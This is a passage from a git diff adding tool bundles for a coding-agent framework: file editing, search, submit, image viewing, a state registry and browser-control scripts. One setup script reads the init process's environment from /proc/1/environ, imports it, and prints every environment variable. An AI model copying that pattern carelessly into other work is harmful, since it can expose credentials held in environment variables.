replacement_line - SNIPPET_LINES) + end_line = min(replacement_line + SNIPPET_LINES + new_str.count("\n"), len(new_file_content.splitlines())) + start_line, end_line = WindowExpander(suffix=path.suffix).expand_window( + new_file_content.split("\n"), start_line, end_line, max_added_lines=MAX_WINDOW_EXPANSION_EDIT_CONFIRM + ) + snippet = "\n".join(new_file_content.split("\n")[start_line - 1 : end_line]) + + # Prepare the success message + success_msg = "The file {} has been edited. ".format(path) + success_msg += self._make_output(snippet, "a snippet of {}".format(path), start_line) + success_msg += "Review the changes and make sure they are as expected. Edit the file again if necessary." + success_msg += epilogue + + print(success_msg) + + def insert(self, path: Path, insert_line: int, new_str: str): + """Implement the insert command, which inserts new_str at the specified line in the file content.""" + file_text = self.read_file(path).expandtabs() + new_str = new_str.expandtabs() + file_text_lines = file_text.split("\n") + n_lines_file = len(file_text_lines) + + if insert_line < 0 or insert_line > n_lines_file: + print( + "Invalid `insert_line` parameter: {}. It should be within the range of lines of the file: {}".format(insert_line, [0, n_lines_file]) + ) + sys.exit(17) + + new_str_lines = new_str.split("\n") + new_file_text_lines = file_text_lines[:insert_line] + new_str_lines + file_text_lines[insert_line:] + snippet_lines = ( + file_text_lines[max(0, insert_line - SNIPPET_LINES) : insert_line] + + new_str_lines + + file_text_lines[insert_line : insert_line + SNIPPET_LINES] + ) + + new_file_text = "\n".join(new_file_text_lines) + snippet = "\n".join(snippet_lines) + + self.write_file(path, new_file_text) + self._file_history[path].append(file_text) + + # todo: Also expand these windows + + success_msg = "The file {} has been edited. ".format(path) + success_msg += self._make_output( + snippet, + "a snippet of the edited file", + max(1, insert_line - SNIPPET_LINES + 1), + ) + success_msg += "Review the changes and make sure they are as expected (correct indentation, no duplicate lines, etc). Edit the file again if necessary." + print(success_msg) + + def undo_edit(self, path: Path): + """Implement the undo_edit command.""" + if not self._file_history[path]: + print("No edit history found for {}.".format(path)) + sys.exit(18) + + old_text = self._file_history[path].pop() + self.write_file(path, old_text) + + print("Last edit to {} undone successfully. {}".format(path, self._make_output(old_text, str(path)))) + + def read_file(self, path: Path): + """Read the content of a file from a given path; raise a ToolError if an error occurs.""" + encodings = [ + (None, None), + ("utf-8", None), + ("latin-1", None), + ("utf-8", "replace"), + ] + exception = None + for self._encoding, errors in encodings: + try: + text = path.read_text(encoding=self._encoding, errors=errors) + except UnicodeDecodeError as e: + exception = e + else: + break + else: + print("Ran into UnicodeDecodeError {} while trying to read {}".format(exception, path)) + sys.exit(19) + return text + + def write_file(self, path: Path, file: str): + """Write the content of a file to a given path; raise a ToolError if an error occurs.""" + try: + path.write_text(file, encoding=self._encoding or "utf-8") + except Exception as e: + print("Ran into {} while trying to write to {}".format(e, path)) + sys.exit(20) + + def _make_output( + self, + file_content: str, + file_descriptor: str, + init_line: int = 1, + expand_tabs: bool = True, + ): + """Generate output for the CLI based on the content of a file.""" + file_content = maybe_truncate(file_content) + if expand_tabs: + file_content = file_content.expandtabs() + file_content = "\n".join(["{:6}\t{}".format(i + init_line, line) for i, line in enumerate(file_content.split("\n"))]) + return "Here's the result of running `cat -n` on {}:\n".format(file_descriptor) + file_content + "\n" + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("command", type=str) + parser.add_argument("path", type=str) + parser.add_argument("--file_text", type=str) + parser.add_argument("--view_range", type=int, nargs=2) + parser.add_argument("--old_str", type=str) + parser.add_argument("--new_str", type=str) + parser.add_argument("--insert_line", type=int) + args = parser.parse_args() + tool = EditTool() + tool( + command=args.command, + path=args.path, + file_text=args.file_text, + view_range=args.view_range, + old_str=args.old_str, + new_str=args.new_str, + insert_line=args.insert_line, + ) + + +if __name__ == "__main__": + main() diff --git a/tools/edit_anthropic/config.yaml b/tools/edit_anthropic/config.yaml new file mode 100644 index 0000000..1858867 --- /dev/null +++ b/tools/edit_anthropic/config.yaml @@ -0,0 +1,56 @@ +tools: + str_replace_editor: + signature: | + str_replace_editor [] [] [] [] [] + # This docstrings was taken from openhands: + # https://github.com/All-Hands-AI/OpenHands/blob/main/openhands/agenthub/codeact_agent/function_calling.py + docstring: > + Custom editing tool for viewing, creating and editing files + * State is persistent across command calls and discussions with the user + * If `path` is a file, `view` displays the result of applying `cat -n`. If `path` is a directory, `view` lists non-hidden files and directories up to 2 levels deep + * The `create` command cannot be used if the specified `path` already exists as a file + * If a `command` generates a long output, it will be truncated and marked with `` + * The `undo_edit` command will revert the last edit made to the file at `path` + + Notes for using the `str_replace` command: + * The `old_str` parameter should match EXACTLY one or more consecutive lines from the original file. Be mindful of whitespaces! + * If the `old_str` parameter is not unique in the file, the replacement will not be performed. Make sure to include enough context in `old_str` to make it unique + * The `new_str` parameter should contain the edited lines that should replace the `old_str` + arguments: + - name: command + type: string + description: "The commands to run. Allowed options are: `view`, `create`, `str_replace`, `insert`, `undo_edit`." + required: true + enum: ["view", "create", "str_replace", "insert", "undo_edit"] + - name: path + type: string + description: "Absolute path to file or directory, e.g. `/testbed/file.py` or `/testbed`." + required: true + - name: file_text + type: string + description: "Required parameter of `create` command, with the content of the file to be created." + required: false + argument_format: "--file_text {{value}}" + - name: old_str + type: string + description: "Required parameter of `str_replace` command containing the string in `path` to replace." + required: false + argument_format: "--old_str {{value}}" + - name: new_str + type: string + description: "Optional parameter of `str_replace` command containing the new string (if not given, no string will be added). Required parameter of `insert` command containing the string to insert." + required: false + argument_format: "--new_str {{value}}" + - name: insert_line + type: integer + description: "Required parameter of `insert` command. The `new_str` will be inserted AFTER the line `insert_line` of `path`." + required: false + argument_format: "--insert_line {{value}}" + - name: view_range + type: array + items: + type: integer + description: "Optional parameter of `view` command when `path` points to a file. If none is given, the full file is shown. If provided, the file will be shown in the indicated line number range, e.g. [11, 12] will show lines 11 and 12. Indexing at 1 to start. Setting `[start_line, -1]` shows all lines from `start_line` to the end of the file." + required: false + argument_format: "--view_range {{value|join(' ')}}" +state_command: "_state_anthropic" diff --git a/tools/edit_anthropic/install.sh b/tools/edit_anthropic/install.sh new file mode 100644 index 0000000..5304f6c --- /dev/null +++ b/tools/edit_anthropic/install.sh @@ -0,0 +1,3 @@ +# Ignore failures, see https://github.com/SWE-agent/SWE-agent/issues/1179 +pip install 'tree-sitter==0.21.3' || true +pip install 'tree-sitter-languages' || true \ No newline at end of file diff --git a/tools/filemap/bin/filemap b/tools/filemap/bin/filemap new file mode 100644 index 0000000..878c8e1 --- /dev/null +++ b/tools/filemap/bin/filemap @@ -0,0 +1,45 @@ +#!/root/miniconda3/bin/python + +import argparse +import warnings + +# tree_sitter is throwing a FutureWarning +warnings.simplefilter("ignore", category=FutureWarning) +from tree_sitter_languages import get_language, get_parser + +parser = argparse.ArgumentParser( + description="Print the contents of a Python file, skipping lengthy function and method definitions." +) +parser.add_argument("file_path", type=str, help="The path to the file to be read") +args = parser.parse_args() + +# We assume that all input files are Python. +parser = get_parser("python") +language = get_language("python") +file_contents = open(args.file_path).read() + +# We assume that files are utf8 encoded. +tree = parser.parse(bytes(file_contents, "utf8")) + +# See https://tree-sitter.github.io/tree-sitter/using-parsers#pattern-matching-with-queries. +query = language.query(""" +(function_definition + body: (_) @body) +""") + +# TODO: consider special casing docstrings such that they are not elided. This +# could be accomplished by checking whether `body.text.decode('utf8')` starts +# with `"""` or `'''`. +elide_line_ranges = [ + (node.start_point[0], node.end_point[0]) + for node, _ in query.captures(tree.root_node) + # Only elide if it's sufficiently long + if node.end_point[0] - node.start_point[0] >= 5 +] +# Note that tree-sitter line numbers are 0-indexed, but we display 1-indexed. +elide_lines = {line for start, end in elide_line_ranges for line in range(start, end + 1)} +elide_messages = [(start, f"... eliding lines {start+1}-{end+1} ...") for start, end in elide_line_ranges] +for i, line in sorted( + elide_messages + [(i, line) for i, line in enumerate(file_contents.splitlines()) if i not in elide_lines] +): + print(f"{i+1:6d} {line}") diff --git a/tools/filemap/config.yaml b/tools/filemap/config.yaml new file mode 100644 index 0000000..906a567 --- /dev/null +++ b/tools/filemap/config.yaml @@ -0,0 +1,9 @@ +tools: + filemap: + signature: "filemap " + docstring: "Print the contents of a Python file, skipping lengthy function and method definitions." + arguments: + - name: file_path + type: string + description: The path to the file to be read + required: true diff --git a/tools/filemap/install.sh b/tools/filemap/install.sh new file mode 100644 index 0000000..ba40265 --- /dev/null +++ b/tools/filemap/install.sh @@ -0,0 +1,2 @@ +pip install 'tree-sitter==0.21.3' +pip install 'tree-sitter-languages' \ No newline at end of file diff --git a/tools/forfeit/bin/exit_forfeit b/tools/forfeit/bin/exit_forfeit new file mode 100644 index 0000000..a7cfd98 --- /dev/null +++ b/tools/forfeit/bin/exit_forfeit @@ -0,0 +1,5 @@ +main() { + echo "###SWE-AGENT-EXIT-FORFEIT###" +} + +main "$@" diff --git a/tools/forfeit/config.yaml b/tools/forfeit/config.yaml new file mode 100644 index 0000000..aeb9ef0 --- /dev/null +++ b/tools/forfeit/config.yaml @@ -0,0 +1,5 @@ +tools: + exit_forfeit: + signature: "exit_forfeit" + docstring: "Give up on the current challenge and terminate the session." + arguments: [] diff --git a/tools/image_tools/bin/view_image b/tools/image_tools/bin/view_image new file mode 100755 index 0000000..b9abfa2 --- /dev/null +++ b/tools/image_tools/bin/view_image @@ -0,0 +1,36 @@ +#!/usr/bin/env python3 +# view_image – view an image file as a base64-encoded markdown image +import base64 +import mimetypes +import pathlib +import sys + +VALID_MIME_TYPES = { + "image/png", + "image/jpeg", + "image/webp", +} + +if len(sys.argv) != 2: + sys.exit(f"usage: {pathlib.Path(sys.argv[0]).name} ") + +img_path = pathlib.Path(sys.argv[1]) + +if not img_path.exists(): + sys.exit(f"Error: File '{img_path}' does not exist") + +if not img_path.is_file(): + sys.exit(f"Error: '{img_path}' is not a file") + +try: + mime = mimetypes.guess_type(img_path.name)[0] + if mime not in VALID_MIME_TYPES: + sys.exit(f"Error: Unsupported image type: {mime}. Valid types are: {', '.join(VALID_MIME_TYPES)}") + + # read the file, base64-encode, and convert bytes → str + b64 = base64.b64encode(img_path.read_bytes()).decode("ascii") + + # write the exact markdown snippet to stdout + print(f"![{img_path.as_posix()}](data:{mime};base64,{b64})") +except Exception as e: + sys.exit(f"Error processing image: {e}") diff --git a/tools/image_tools/config.yaml b/tools/image_tools/config.yaml new file mode 100644 index 0000000..b262f0b --- /dev/null +++ b/tools/image_tools/config.yaml @@ -0,0 +1,9 @@ +tools: + view_image: + signature: "view_image " + docstring: "view an image file" + arguments: + - name: image_file + type: string + description: "the path to the image file to view" + required: true \ No newline at end of file diff --git a/tools/multilingual_setup/bin/do_nothing b/tools/multilingual_setup/bin/do_nothing new file mode 100644 index 0000000..af0756e --- /dev/null +++ b/tools/multilingual_setup/bin/do_nothing @@ -0,0 +1,2 @@ +# This will never be called, but having a file here +# ensures that chmod +x commands on the bin directory don't fail \ No newline at end of file diff --git a/tools/multilingual_setup/config.yaml b/tools/multilingual_setup/config.yaml new file mode 100644 index 0000000..a2fa203 --- /dev/null +++ b/tools/multilingual_setup/config.yaml @@ -0,0 +1 @@ +tools: {} \ No newline at end of file diff --git a/tools/multilingual_setup/install.sh b/tools/multilingual_setup/install.sh new file mode 100644 index 0000000..81cb3af --- /dev/null +++ b/tools/multilingual_setup/install.sh @@ -0,0 +1,45 @@ +#!/usr/bin/env bash + +# Define variables to exclude +EXCLUDE_VARS="PWD|LANG|PYTHONPATH|ROOT|PS0|PS1|PS2|_|OLDPWD|LC_ALL|LANG|LSCOLORS|SHLVL" + + +echo "Original Environment Variables:" +env | sort + +# Only add Python 3.11 to PATH if no python exists +if ! command -v python &> /dev/null; then + echo -e "\nNo Python found in system, adding Python 3.11 to PATH" + export PATH="/root/python3.11/bin:$PATH" + + # Create python/pip aliases + ln -s "/root/python3.11/bin/python3" "/root/python3.11/bin/python" + ln -s "/root/python3.11/bin/pip3" "/root/python3.11/bin/pip" + echo "Created symlinks: python -> python3, pip -> pip3" +else + echo -e "\nPython already exists in system, skipping Python 3.11 setup" +fi + +# Attempt to read and set process 1 environment +echo -e "\nSetting environment variables from /proc/1/environ..." +if [ -r "/proc/1/environ" ]; then + while IFS= read -r -d '' var; do + # Skip excluded variables + if ! echo "$var" | grep -qE "^(${EXCLUDE_VARS})="; then + # If the variable is PATH, append and deduplicate + if [[ "$var" =~ ^PATH= ]]; then + # Combine paths and remove duplicates while preserving order + export PATH="$(echo "${PATH}:${var#PATH=}" | tr ':' '\n' | awk '!seen[$0]++' | tr '\n' ':' | sed 's/:$//')" + else + export "$var" + fi + fi + done < /proc/1/environ + echo "Successfully imported environment from /proc/1/environ" +else + echo "Cannot access /proc/1/environ - Permission denied" +fi + +# Print updated environment variables +echo -e "\nUpdated Environment Variables:" +env | sort diff --git a/tools/registry/bin/_read_env b/tools/registry/bin/_read_env new file mode 100644 index 0000000..694739e --- /dev/null +++ b/tools/registry/bin/_read_env @@ -0,0 +1,10 @@ +#!/usr/bin/env python + +import sys + +from registry import registry # type: ignore + +if __name__ == "__main__": + var_name = sys.argv[1] + default_value = sys.argv[2] if len(sys.argv) > 2 else "" + print(registry.get(var_name, default_value)) diff --git a/tools/registry/bin/_write_env b/tools/registry/bin/_write_env new file mode 100644 index 0000000..b94352c --- /dev/null +++ b/tools/registry/bin/_write_env @@ -0,0 +1,10 @@ +#!/usr/bin/env python + +import sys + +from registry import registry # type: ignore + +if __name__ == "__main__": + var_name = sys.argv[1] + var_value = sys.argv[2] if len(sys.argv) > 2 else "" + registry[var_name] = var_value diff --git a/tools/registry/config.yaml b/tools/registry/config.yaml new file mode 100644 index 0000000..a2fa203 --- /dev/null +++ b/tools/registry/config.yaml @@ -0,0 +1 @@ +tools: {} \ No newline at end of file diff --git a/tools/registry/install.sh b/tools/registry/install.sh new file mode 100644 index 0000000..712c3ed --- /dev/null +++ b/tools/registry/install.sh @@ -0,0 +1,6 @@ +#!/usr/bin/env bash + +# script_dir=$(dirname "$(readlink -f "$0")") +bundle_dir=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd ) + +export PYTHONPATH="$bundle_dir/lib":$PYTHONPATH \ No newline at end of file diff --git a/tools/registry/lib/__init__.py b/tools/registry/lib/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/tools/registry/lib/registry.py b/tools/registry/lib/registry.py new file mode 100644 index 0000000..3e225ed --- /dev/null +++ b/tools/registry/lib/registry.py @@ -0,0 +1,56 @@ +import json +import os +from pathlib import Path +from typing import Any, List, Optional, Tuple, Union + + +class EnvRegistry: + """Read and write variables into a file. This is used to persist state between tool + calls without using environment variables (which are problematic because you cannot + set them in a subprocess). + + The default file location is `/root/.swe-agent-env`, though this can be overridden + by the `env_file` argument or the `SWE_AGENT_ENV_FILE` environment variable. + """ + + def __init__(self, env_file: Optional[Path] = None): + self._env_file = env_file + + @property + def env_file(self) -> Path: + if self._env_file is None: + env_file = Path(os.environ.get("SWE_AGENT_ENV_FILE", "/root/.swe-agent-env")) + else: + env_file = self._env_file + if not env_file.exists(): + env_file.write_text("{}") + return env_file + + def __getitem__(self, key: str) -> str: + return json.loads(self.env_file.read_text())[key] + + def get(self, key: str, default_value: Any = None, fallback_to_env: bool = True) -> Any: + """Get a value from registry: + + Args: + key: The key to get the value for. + default_value: The default value to return if the key is not found in the registry. + fallback_to_env: If True, fallback to environment variables if the key is not found in the registry. + If there's no environment variable, return the default value. + """ + if fallback_to_env and key in os.environ: + default_value = os.environ[key] + return json.loads(self.env_file.read_text()).get(key, default_value) + + def get_if_none(self, value: Any, key: str, default_value: Any = None) -> Any: + if value is not None: + return value + return self.get(key, default_value) + + def __setitem__(self, key: str, value: Any): + env = json.loads(self.env_file.read_text()) + env[key] = value + self.env_file.write_text(json.dumps(env)) + + +registry = EnvRegistry() diff --git a/tools/review_on_submit_m/README.md b/tools/review_on_submit_m/README.md new file mode 100644 index 0000000..131667d --- /dev/null +++ b/tools/review_on_submit_m/README.md @@ -0,0 +1,6 @@ +# Review on submit. + +Provides an alternative for `submit` that does not immediately submit, but asks the +agent to perform additional reviewing steps. + +Only `submit -f` will trigger the real submit. \ No newline at end of file diff --git a/tools/review_on_submit_m/bin/submit b/tools/review_on_submit_m/bin/submit new file mode 100644 index 0000000..a0fe824 --- /dev/null +++ b/tools/review_on_submit_m/bin/submit @@ -0,0 +1,54 @@ +#!/usr/bin/env python3 + +import argparse +from pathlib import Path +import subprocess +import sys +import os +import io + +from registry import registry + + +def main() -> None: + parser = argparse.ArgumentParser(description="Submit changes for review") + parser.add_argument("-f", "--force", action="store_true", help="Force submit without review") + args = parser.parse_args() + + repo_root = registry.get("ROOT", os.getenv("ROOT")) + assert repo_root + + patch_path = Path("/root/model.patch") + + subprocess.run( + f"git add -A && git diff --cached > {patch_path}", + shell=True, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + cwd=repo_root, + ) + + patch = patch_path.read_text(errors="backslashreplace") + + submit_review_messages = registry.get("SUBMIT_REVIEW_MESSAGES", []) + n_stages = len(submit_review_messages) + current_stage = registry.get("SUBMIT_STAGE", 0) + if not args.force and current_stage != n_stages: + message = submit_review_messages[current_stage] + message = message.replace("{{diff}}", patch) + message = message.replace("{{problem_statement}}", registry.get("PROBLEM_STATEMENT", "")) + registry["SUBMIT_STAGE"] = current_stage + 1 + print(message) + sys.exit(0) + + print("<>") + print(patch) + print("<>") + + +if __name__ == "__main__": + # There are some super strange "ascii can't decode x" errors when printing to the terminal + # that can be solved with setting the default encoding for stdout + # (note that python3.6 doesn't have the reconfigure method) + sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding="utf-8") + main() diff --git a/tools/review_on_submit_m/config.yaml b/tools/review_on_submit_m/config.yaml new file mode 100644 index 0000000..a7cc0f8 --- /dev/null +++ b/tools/review_on_submit_m/config.yaml @@ -0,0 +1,6 @@ +tools: + submit: + signature: "submit" + docstring: "submits the current file" + # Do not actually show the -f argument to the model, only + # use it from the agent for submission after error diff --git a/tools/review_on_submit_m/install.sh b/tools/review_on_submit_m/install.sh new file mode 100644 index 0000000..e69de29 diff --git a/tools/search/bin/find_file b/tools/search/bin/find_file new file mode 100644 index 0000000..6de016f --- /dev/null +++ b/tools/search/bin/find_file @@ -0,0 +1,31 @@ +main() { + if [ $# -eq 1 ]; then + local file_name="$1" + local dir="./" + elif [ $# -eq 2 ]; then + local file_name="$1" + if [ -d "$2" ]; then + local dir="$2" + else + echo "Directory $2 not found" + return + fi + else + echo "Usage: find_file []" + return + fi + + dir=$(realpath "$dir") + local matches=$(find "$dir" -type f -name "$file_name") + # if no matches, return + if [ -z "$matches" ]; then + echo "No matches found for \"$file_name\" in $dir" + return + fi + # Calculate total number of matches + local num_matches=$(echo "$matches" | wc -l | awk '{$1=$1; print $0}') + echo "Found $num_matches matches for \"$file_name\" in $dir:" + echo "$matches" | awk '{print $0}' +} + +main "$@" \ No newline at end of file diff --git a/tools/search/bin/search_dir b/tools/search/bin/search_dir new file mode 100644 index 0000000..b5cd9c4 --- /dev/null +++ b/tools/search/bin/search_dir @@ -0,0 +1,39 @@ +main() { + if [ $# -eq 1 ]; then + local search_term="$1" + local dir="./" + elif [ $# -eq 2 ]; then + local search_term="$1" + if [ -d "$2" ]; then + local dir="$2" + else + echo "Directory $2 not found" + return + fi + else + echo "Usage: search_dir []" + return + fi + dir=$(realpath "$dir") + local matches=$(find "$dir" -type f ! -path '*/.*' -exec grep -nIH -- "$search_term" {} + | cut -d: -f1 | sort | uniq -c) + # if no matches, return + if [ -z "$matches" ]; then + echo "No matches found for \"$search_term\" in $dir" + return + fi + # Calculate total number of matches + local num_matches=$(echo "$matches" | awk '{sum+=$1} END {print sum}') + # calculate total number of files matched + local num_files=$(echo "$matches" | wc -l | awk '{$1=$1; print $0}') + # if num_files is > 100, print an error + if [ $num_files -gt 100 ]; then + echo "More than $num_files files matched for \"$search_term\" in $dir. Please narrow your search." + return + fi + + echo "Found $num_matches matches for \"$search_term\" in $dir:" + echo "$matches" | awk '{$2=$2; gsub(/^\.+\/+/, "./", $2); print $2 " ("$1" matches)"}' + echo "End of matches for \"$search_term\" in $dir" +} + +main "$@" diff --git a/tools/search/bin/search_file b/tools/search/bin/search_file new file mode 100644 index 0000000..d1731ca --- /dev/null +++ b/tools/search/bin/search_file @@ -0,0 +1,55 @@ +main() { + # Check if the first argument is provided + local search_term="${1:-}" + if [ -z "${search_term}" ]; then + echo "Usage: search_file []" + return + fi + # Check if the second argument is provided + if [ $# -ge 2 ]; then + # Check if the provided argument is a valid file + if [ -f "$2" ]; then + local file="$2" # Set file if valid + else + echo "Usage: search_file []" + echo "Error: File name $2 not found. Please provide a valid file name." + return # Exit if the file is not valid + fi + else + local CURRENT_FILE=$(_read_env CURRENT_FILE) + # Check if a file is open + if [ -z "${CURRENT_FILE:-}" ]; then + echo "No file open. Use the open command first." + return # Exit if no file is open + fi + local file="$CURRENT_FILE" # Set file to the current open file + fi + local search_term="$1" + file=$(realpath "$file") + # Use grep to directly get the desired formatted output + local matches=$(grep -nH -- "$search_term" "$file") + # Check if no matches were found + if [ -z "${matches:-}" ]; then + echo "No matches found for \"$search_term\" in $file" + return + fi + # Calculate total number of matches + local num_matches=$(echo "$matches" | wc -l | awk '{$1=$1; print $0}') + + # calculate total number of lines matched + local num_lines=$(echo "$matches" | cut -d: -f1 | sort | uniq | wc -l | awk '{$1=$1; print $0}') + # if num_lines is > 100, print an error + if [ $num_lines -gt 100 ]; then + echo "More than $num_lines lines matched for \"$search_term\" in $file. Please narrow your search." + return + fi + + # Print the total number of matches and the matches themselves + echo "Found $num_matches matches for \"$search_term\" in $file:" + echo "$matches" | cut -d: -f1-2 | sort -u -t: -k2,2n | while IFS=: read -r filename line_number; do + echo "Line $line_number:$(sed -n "${line_number}p" "$file")" + done + echo "End of matches for \"$search_term\" in $file" +} + +main "$@" diff --git a/tools/search/config.yaml b/tools/search/config.yaml new file mode 100644 index 0000000..347877a --- /dev/null +++ b/tools/search/config.yaml @@ -0,0 +1,37 @@ +tools: + find_file: + signature: "find_file []" + docstring: "finds all files with the given name or pattern in dir. If dir is not provided, searches in the current directory" + arguments: + - name: file_name + type: string + description: "the name of the file or pattern to search for. supports shell-style wildcards (e.g. *.py)" + required: true + - name: dir + type: string + description: "the directory to search in (if not provided, searches in the current directory)" + required: false + search_dir: + signature: "search_dir []" + docstring: "searches for search_term in all files in dir. If dir is not provided, searches in the current directory" + arguments: + - name: search_term + type: string + description: "the term to search for" + required: true + - name: dir + type: string + description: "the directory to search in (if not provided, searches in the current directory)" + required: false + search_file: + signature: "search_file []" + docstring: "searches for search_term in file. If file is not provided, searches in the current open file" + arguments: + - name: search_term + type: string + description: "the term to search for" + required: true + - name: file + type: string + description: "the file to search in (if not provided, searches in the current open file)" + required: false diff --git a/tools/search/install.sh b/tools/search/install.sh new file mode 100644 index 0000000..4035759 --- /dev/null +++ b/tools/search/install.sh @@ -0,0 +1,3 @@ +_write_env SEARCH_RESULTS "()" +_write_env SEARCH_FILES "()" +_write_env SEARCH_INDEX 0 diff --git a/tools/submit/bin/submit b/tools/submit/bin/submit new file mode 100644 index 0000000..bfdf6f0 --- /dev/null +++ b/tools/submit/bin/submit @@ -0,0 +1,15 @@ +main() { + cd $ROOT + + # Check if the patch file exists and is non-empty + if [ -s "/root/test.patch" ]; then + # Apply the patch in reverse + git apply -R < "/root/test.patch" + fi + + git add -A + git diff --cached > /root/model.patch + echo "<>" +} + +main "$@" diff --git a/tools/submit/config.yaml b/tools/submit/config.yaml new file mode 100644 index 0000000..835fae2 --- /dev/null +++ b/tools/submit/config.yaml @@ -0,0 +1,5 @@ +tools: + submit: + signature: "submit" + docstring: "submits the current file" + arguments: [] diff --git a/tools/web_browser/bin/click_mouse b/tools/web_browser/bin/click_mouse new file mode 100755 index 0000000..6733c54 --- /dev/null +++ b/tools/web_browser/bin/click_mouse @@ -0,0 +1,41 @@ +#!/root/python3.11/bin/python3 +from __future__ import annotations + +import sys +from argparse import ArgumentParser +from pathlib import Path + +lib_path = str(Path(__file__).resolve().parent.parent / "lib") +sys.path.insert(0, lib_path) + +from web_browser_config import ClientConfig +from web_browser_utils import ( + _autosave_screenshot_from_response, + _print_response_with_metadata, + send_request, +) + +config = ClientConfig() + + +def click(x, y, button): + """Click at the specified coordinates (x, y).""" + response = send_request( + config.port, + "click", + "POST", + {"x": x, "y": y, "button": button, "return_screenshot": config.autoscreenshot}, + ) + if response is None: + return + _print_response_with_metadata(response) + _autosave_screenshot_from_response(response, config.screenshot_mode) + + +if __name__ == "__main__": + parser = ArgumentParser() + parser.add_argument("x", type=int) + parser.add_argument("y", type=int) + parser.add_argument("button", nargs="?", default="left", choices=["left", "right"]) + args = parser.parse_args() + click(args.x, args.y, args.button) diff --git a/tools/web_browser/bin/close_site b/tools/web_browser/bin/close_site new file mode 100755 index 0000000..e9deebf --- /dev/null +++ b/tools/web_browser/bin/close_site @@ -0,0 +1,28 @@ +#!/root/python3.11/bin/python3 +from __future__ import annotations + +import sys +from argparse import ArgumentParser +from pathlib import Path + +lib_path = str(Path(__file__).resolve().parent.parent / "lib") +sys.path.insert(0, lib_path) + +from web_browser_config import ClientConfig +from web_browser_utils import _print_response_with_metadata, send_request + +config = ClientConfig() + + +def close(): + """Close the currently open window.""" + response = send_request(config.port, "close", "POST") + if response is None: + return + _print_response_with_metadata(response) + + +if __name__ == "__main__": + parser = ArgumentParser() + args = parser.parse_args() + close() diff --git a/tools/web_browser/bin/double_click_mouse b/tools/web_browser/bin/double_click_mouse new file mode 100755 index 0000000..0be0337 --- /dev/null +++ b/tools/web_browser/bin/double_click_mouse @@ -0,0 +1,37 @@ +#!/root/python3.11/bin/python3 +from __future__ import annotations + +import sys +from argparse import ArgumentParser +from pathlib import Path + +lib_path = str(Path(__file__).resolve().parent.parent / "lib") +sys.path.insert(0, lib_path) + +from web_browser_config import ClientConfig +from web_browser_utils import ( + _autosave_screenshot_from_response, + _print_response_with_metadata, + send_request, +) + +config = ClientConfig() + + +def double_click(x, y): + """Double-click at the specified coordinates (x, y).""" + response = send_request( + config.port, "double_click", "POST", {"x": x, "y": y, "return_screenshot": config.autoscreenshot} + ) + if response is None: + return + _print_response_with_metadata(response) + _autosave_screenshot_from_response(response, config.screenshot_mode) + + +if __name__ == "__main__": + parser = ArgumentParser() + parser.add_argument("x", type=int) + parser.add_argument("y", type=int) + args = parser.parse_args() + double_click(args.x, args.y) diff --git a/tools/web_browser/bin/drag_mouse b/tools/web_browser/bin/drag_mouse new file mode 100755 index 0000000..08f8e28 --- /dev/null +++ b/tools/web_browser/bin/drag_mouse @@ -0,0 +1,46 @@ +#!/root/python3.11/bin/python3 +from __future__ import annotations + +import sys +from argparse import ArgumentParser +from pathlib import Path + +lib_path = str(Path(__file__).resolve().parent.parent / "lib") +sys.path.insert(0, lib_path) + +from web_browser_config import ClientConfig +from web_browser_utils import ( + _autosave_screenshot_from_response, + _print_error, + _print_response_with_metadata, + send_request, +) + +config = ClientConfig() + + +def drag(path): + """Drag mouse along a path. Path should be a JSON list of x, y lists: '[[0, 0], [100, 100]]'.""" + import json + + try: + path_data = json.loads(path) + except json.JSONDecodeError: + _print_error("Path must be valid JSON") + return + response = send_request( + config.port, "drag", "POST", {"path": path_data, "return_screenshot": config.autoscreenshot} + ) + if response is None: + return + _print_response_with_metadata(response) + _autosave_screenshot_from_response(response, config.screenshot_mode) + + +if __name__ == "__main__": + parser = ArgumentParser() + parser.add_argument( + "path", type=str, help="The path to drag the mouse along (JSON list of x, y lists) e.g. '[[0, 0], [100, 100]]'" + ) + args = parser.parse_args() + drag(args.path) diff --git a/tools/web_browser/bin/execute_script_on_page b/tools/web_browser/bin/execute_script_on_page new file mode 100755 index 0000000..aa24cff --- /dev/null +++ b/tools/web_browser/bin/execute_script_on_page @@ -0,0 +1,39 @@ +#!/root/python3.11/bin/python3 +from __future__ import annotations + +import sys +from argparse import ArgumentParser +from pathlib import Path + +lib_path = str(Path(__file__).resolve().parent.parent / "lib") +sys.path.insert(0, lib_path) + +from web_browser_config import ClientConfig +from web_browser_utils import ( + _autosave_screenshot_from_response, + _print_response_with_metadata, + send_request, +) + +config = ClientConfig() + + +def execute_script(script): + """Execute a custom JavaScript code snippet on the current page.""" + response = send_request( + config.port, + "execute_script", + "POST", + {"script": script, "return_screenshot": config.autoscreenshot}, + ) + if response is None: + return + _print_response_with_metadata(response) + _autosave_screenshot_from_response(response, config.screenshot_mode) + + +if __name__ == "__main__": + parser = ArgumentParser() + parser.add_argument("script", type=str, help="The JavaScript code snippet to execute") + args = parser.parse_args() + execute_script(args.script) diff --git a/tools/web_browser/bin/get_console_output b/tools/web_browser/bin/get_console_output new file mode 100755 index 0000000..e754a13 --- /dev/null +++ b/tools/web_browser/bin/get_console_output @@ -0,0 +1,48 @@ +#!/root/python3.11/bin/python3 +from __future__ import annotations + +import sys +from argparse import ArgumentParser +from pathlib import Path + +lib_path = str(Path(__file__).resolve().parent.parent / "lib") +sys.path.insert(0, lib_path) + +from web_browser_config import ClientConfig +from web_browser_utils import ( + _print_response_with_metadata, + send_request, +) + +config = ClientConfig() + + +def get_console_output(): + """Get console output from the browser.""" + response = send_request(config.port, "console", "GET", {}) + if response is None: + return + _print_response_with_metadata(response) + if "console_messages" in response: + console_messages = response["console_messages"] + if console_messages: + print("\n--- Console Messages ---") + for ix, msg in enumerate(console_messages): + # timestamp = msg.get("timestamp", 0) + msg_type = msg.get("type", "log") + text = msg.get("text", "") + location = msg.get("location", {}) + print(f"[{ix + 1}] {msg_type.upper()}: {text}") + if location: + url = location.get("url", "") + line_number = location.get("lineNumber", "") + column_number = location.get("columnNumber", "") + if url: + print(f" Location: {url}:{line_number}:{column_number}") + print("Console buffer cleared.") + + +if __name__ == "__main__": + parser = ArgumentParser() + args = parser.parse_args() + get_console_output() diff --git 